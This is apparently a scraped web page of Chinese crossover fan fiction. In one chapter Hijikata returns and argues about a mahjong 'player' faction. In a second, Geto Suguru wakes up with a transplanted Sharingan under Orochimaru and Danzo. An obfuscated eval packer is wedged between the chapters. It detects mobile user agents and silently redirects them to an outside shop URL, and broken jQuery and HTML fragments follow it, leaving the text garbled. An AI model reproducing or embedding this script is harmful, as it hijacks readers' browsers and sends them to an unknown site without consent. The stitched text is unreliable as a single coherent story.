一身黑色浴衣,叼着烟的男人突兀出现在车门外。拉了下车后门,没拉动。
清瘦的指节快速扣了扣主驾驶座的车窗:“搞什么,山崎,开个后门,我要回屯所。”
山崎退不敢置信地把车窗降到最底,拿出刑侦的专业态度,仔仔细细将男人审视了一遍,终于忍不住抽了抽嘴角:“副长!”
“副长,你回来真是太好了!但是你刷新的也太快了吧……”
土方十四郎咬着烟,疑惑地挑起一边眉毛:“你小子说什么呢?”
山崎退回头确认:“五条同学,这个是真的副长吧,不是冒牌货吧?”
“什么冒牌货,想死啊笨蛋!”
土方十四郎向车后座看去,只见一个莫名有些眼熟的白毛捧着本《火影o者》,神情说不出的凝重。
山崎退拍了拍土方十四郎的肩膀:“虽然没做什么,但还是辛苦了,副长。”
土方十四郎炸毛:“到底听没听人说话啊混账!老子要上车!而且我今天休息日不休息还要干嘛!”
一只手把山崎退的脑袋扳倒按在了方向盘上,迎面取而代之的是漆黑的炮口。
火箭炮后面冒出了半颗毛茸茸的栗子头:“啊,原来是转瞬即逝的土方先生——既然这么没用果然还是去死吧!”
“混蛋抖s,你又发什么疯?!”
“轰隆!”
两人吱哇乱叫地绕着车追赶起来。
山崎退捂着脸爬起来,小小声吐槽:“真是的,只会用暴力交流感情的笨蛋!”
“五条同学,这条街已经巡逻完了,我们先回去吧。不管他们了!”
五条悟猛地合上漫画,一秒坐直了:“不行。”
山崎退:“哎?”
一瞬间车里已经不见了五条悟的身影。只过了两秒,后排车门再次打开,两个人被五条悟拎着后衣领,像什么购物袋一样欻欻扔了进来。
山崎退:“……”
五条悟打开副驾驶座,一双长腿无处安放,只好抱着膝盖乖巧坐下。
山崎退:“……”
五条悟臭着脸扭过头:“喂,你知道老子是谁吗?”
姿势……蛮搞笑的,但这丝毫不影响他的气势。直觉告诉土方十四郎,这个白毛,很危险。
土方十四郎收敛心神,仔细搜刮着回忆,思索突如其来的问题。
山崎退小声提醒:“副长,他是隔壁作品来的。”
五条悟见土方十四郎久久没有回答,掏出一条印着可爱小兔子的发带,啪叽戴在眼睛上,再往上一拉,一头白毛不太情愿地立正了。
土方十四郎精神一振:“哦哦,原来如此,你是旗木卡o西!”
其他人:“……”
冲田总悟扛起火箭炮,瞄准。
“等等!”土方十四郎举起双手,“五条悟!你是五条悟行了吧!可恶,你们是这么没幽默感的家伙吗,到底把我当什么了,宅十四的亡灵还在天上看着我呢!”
山崎退:“看来九筒还真是把副长研究透了,难怪我们都没发现不对。”
五条悟追问:“然后呢,还有别的印象吗。”
见男人迟迟没有回应,五条悟张口就是:“比如在你面前被上下o斩的半截五条——”
“啊啊啊,小嘴巴!”山崎退上手死死捂住五条悟的嘴,“闭起来!就算是本人也不要说这种事啊!这可是观众们永远的伤痛啊!”
冲田总悟打开《咒术o战》某一页:“别担心,山崎,至少土方先生是可以说的。锵锵。”
土方十四郎狐疑看去。
【接下来上场的是——土方十四郎!
四周一阵窃窃私语:
“啊,谁啊?”
“个人咒术师?”
“来了来了,哎,好像没有咒力。是天与咒缚吗?又是禅院家的?”
“你别说,仔细一看确实是禅院家的长相。”
……
黑发凤眼的男人撑着刀从半空落地,面对眼前的诅咒之王两面宿傩,先慢条斯理地点了根烟:“吵死了。”
“叽叽喳喳叽叽喳喳的,听不懂你们在说什么,什么咒术师,什么禅院。”
土方十四郎起身,从怀里掏出证件:“特别武装警察真选组在此,闲杂人等避退!”】
“话说这里面的闲杂人等就副长一个吧……”
土方十四郎不敢置信地夺过漫画,继续往下看。
【虽然下巴比原版宽阔了些许,肌肉暴涨一倍,脸部也稍有变形,但这确实是土方十四郎无疑。黑发男人收好证件,上下打量着眼前小山一般肌肉虬结的怪物:“这什么,哥斯拉?小怪兽?怎么长这么多眼睛好恶心!生出这样的孩子妈妈都会伤心的哦,会哭的哦!”
两面宿傩:“。”
四周一片惊呼:“虽然看着真的很弱但他真的是个勇士啊!”
“啧,算了。叫什么,几岁了,有入境文书吗?来江户干什么的?”土方十四郎指着周边一片狼藉,大声斥责,“蠢货!都什么年代了还搞破坏这一套!别以为我们幕府的警察管不了你,小心我联系M78星云!”
两面宿傩:“。”
这时一个清澈的少年音惊呼:“什么?!真选组到底是什么组织?!竟然能摇来奥o曼!”
土方十四郎控制着嘴角的弧度,露出一个帅气的笑容。很快,体感上可能是0.01秒,或许是光速,这抹笑容在顷刻间成为永恒,成了被盖章勇士的男人的最后一个表情。
两面宿傩动了动发出斩击的手指,看都没看地下裂成两截的尸体:“。”】
《咒术0战》斗傩大陆篇同样在(破防的)土方十四郎手里断裂成两半:“只会吐泡泡吗!我看两面宿傩也不过如此!”
冲田总悟毫不留情:“没看人家跟五条老师啰里啰嗦一大堆,就是不屑于和你这种小臭虫讲话。”
山崎退挽尊:“哎呀,不是啦,人家只是害怕和副长对话也被当成搞笑角色啦!”
土方十四郎狠狠搓着山崎退的妹妹头:“你这是安慰吗?啊?你讲话最难听你知不知道!”
五条悟突然扯下兔子发带,斜眼盯着打闹的三人,无比清晰的“啧”了一声。
土方十四郎:“喂,你好端端的生什么气啊,表情这么吓人干什么!”
山崎退赶紧拉回正题,解释完现状,接着道:“副长,你是目前我们接触到的回来最快的人了。你真的没有任何穿越的记忆了吗?那有没有感觉什么后遗症?”
冲田总悟:“比如走起来上半身下半身不协调什么的,感知不到腰部以下存在了什么的……”
土方十四郎两拳终结了对话,看向五条悟:“看来这点上那群麻将人没说谎,我确实对穿越的事情毫无印象。”
“没想到我和近藤局长都中招了,真是让人防不胜防。可恶!”土方十四郎搓了把脸,分析道,“说起来这群乐子人真的很恶劣啊。也就是在银魂我们打破第四堵墙,其他作品的角色要面对的形式可就严峻多了,简直就是一场天灾!”
“被选择的人要孤苦无助的面对新世界生活,根本不知道会发生什么,死亡终结的设定又导致越努力奋斗的人越不值得,在新世界做的一切都是无用功。而占据他身份的天人又可以利用这个身份大肆搞破坏,影响原住民的人生。看似穿越者不用付出任何代价,可他回来之后要面对的可能又是一个被祸害的面目全非的世界!
“而被卷入的所有人的遭遇,只是这群混蛋的乐子。该死!”
土方十四郎说着,拎起已经被踩到车座底下的三条麻将人,左右开弓连环巴掌:“你们究竟是怎么做到的?说!”
山崎退:“副长,其实你只是觉得死得太丢脸想找个人泄愤吧。”
“哈?!瞎说什么呢山崎,那把你送去杀人网球当炮灰好吗?!哦对了再把越前o马送去打宿傩好了!让只会吐泡泡的宿傩说出‘没让龙马大人尽兴真是抱歉’怎么样,呐?!”
众人还没吐槽,奄奄一息的三条血喷三尺高,惊喜大叫起来:“好idea!好idea啊!我这边权限不够,别急,我马上写一版方案提上去!”
“权限?”
“是的呀!说白了你们是npc,我们是玩家,穿越者就是非正式玩家。我们这些普通小麻将就是建完账号可以存档,不怕死。去了高魔世界都干不了什么的,要么开挂,要么干什么都找管理员,烦得很!”三条说着说着忍不住骂起来,“也不知道哪个王八蛋把六眼搞过来了!本来银魂这边的项目就难做!”
“原来是这样啊,”三条的声音止住了,五条悟的声音幽幽响起,“那能不能给六眼也开一个账号呢。”
————</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830887|211324||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你这次花的时间格外长,情况怎么样?”
“呵呵,”粘腻低哑的声音宛如蛇类动物爬过耳际,带着令人不适的阴冷,“这么好的身体,你担心什么呢,团藏长老。”
下一秒,浑身无力的夏油杰感觉到自己的左眼皮被人扒开了,首先映入眼帘的是一块护额,中间画着类似鸟头形状的纹路。
木叶的护额。
夏油杰下意识松了口气,毕竟他莫名其妙刚来这个世界的时候,对他伸出援手的少年也自称木叶忍者。
俯身靠近的男人长发垂散,不仅声音带着斯斯的阴鸷沙哑,整个人长得也让人联想到蛇类:“他醒了,看来写轮眼的阴之力和他本身的力量融合的不错。”
最开始那个粗粝苍老的声音再次响起。这次夏油杰看清了昏暗房间里的另一个存在。下意识的,他脑子里冒出了一个词,老橘子。
半张脸裹着绷带的老者自阴影里走出,一抬眼就带出了上位者的气质。
与长发男人欣赏作品般的略带狂热的注视不同,老者的独眼里只有满溢的欲望,居高临下地打量着夏油杰:“大蛇丸,你确定你的把戏能控制住他?这小子可不是你那些小玩具,那种状态下还打败了我们好几个根部成员。”
大蛇丸笑了:“团藏大人,依我的拙见。对于这种有所坚持的强者,不应该去操控,而是合作。”
“你在嘲讽我吗,大蛇丸。可惜,不择手段正是我们根部的作风,”团藏昂首,重重的点了一下手杖,“一切都是为了木叶!”
零星的记忆在复苏。夏油杰运转咒力。他毕竟没有和同期一样掌握反转术式,无法真正的去治愈身体。听两人废话到这一刻,夏油杰才感觉身体恢复知觉,先打开了大蛇丸抚摸着自己脸颊的惨白手指:“你们是什么人,想做什么?”
大蛇丸细长的眼中兴味更甚,颇有耐心道:“第一个问题。如你所见,我们都是木叶的忍者。”
他语调温柔:“我知道你有很多疑惑,公平一点,轮流回答怎么样?我猜,你是天外来客,如果没猜测,你需要回答我的第二个问题:你为什么会出现在木叶?”
夏油杰干脆道:“不知道。”
“不知道。”大蛇丸听了这敷衍的回答,笑容越深,“好,那现在回答你的第二问,关于我们想做什么。其实很简单,团藏大人他已经说了,他想守护木叶。而我呢,只想见证团藏大人伟大的梦想,并提供一些小小的协助。”
夏油杰感受着左眼的钝痛:“包括你们在我身上动的手脚?”
“你误会了,啊,是我疏忽了,那么我的第三个问题,怎么称呼您?”
“……夏油杰。”
“好稀有的姓氏,”大蛇丸像一朵手腕高超的交际花,让人很难生出脾气,他甚至主动命令房间里待命的忍者送来一块镜子,“实际上,夏油,我确实对你的左眼做了手术,因为你原本的眼睛,已经不在了。”
这段话像一个开关,打开了夏油杰断续的记忆。很混乱,以至于他一回想就脑子一阵钝痛,但他知道,大蛇丸没有撒谎。
夏油杰甚至隐约能感知到,大蛇丸这个人与他本人阴暗面的相似之处,没有必要对显而易见的事实说谎,实际上,只要隐瞒部分真相并加以修饰,就能达到相同的目的,效果还更好。
两人看着镜像里的自己。大蛇丸着迷般的想要去抚摸夏油杰猩红的陌生左眼,被他躲开也不在意:“这是宇智波的写轮眼,以后你会知道这眼睛意味着什么。总之不是便宜货色,毕竟,夏油君你也很特别,很完美。普通眼睛可配不上你。”
夏油杰:“……”
“你身上的力量究竟是什么?和写轮眼的阴之力很接近,却又不是查克拉。我猜这反而是你能完美适配写轮眼的原因,有些自不量力的存在非要追求自己不能驾驭的力量,于是只能缝缝补补——”大蛇丸突兀地顿了一下,镜子里能看到他挑起细长的眼尾瞟了眼团藏,显然意有所指,嘴上却笑道,“比如我自己。夏油君,我做梦都想拥有你这样的身体呢。”
夏油杰:“那么,如你所说,我还得想办法报答免费为我做眼睛移植手术,还送了移植体的你们。”
团藏闻言上前一步,冷笑道:“自然,小子。你换上了我们木叶忍族的眼睛,要么受命于木叶,要么,就是木叶的叛忍。想死还是想活,你自己选。”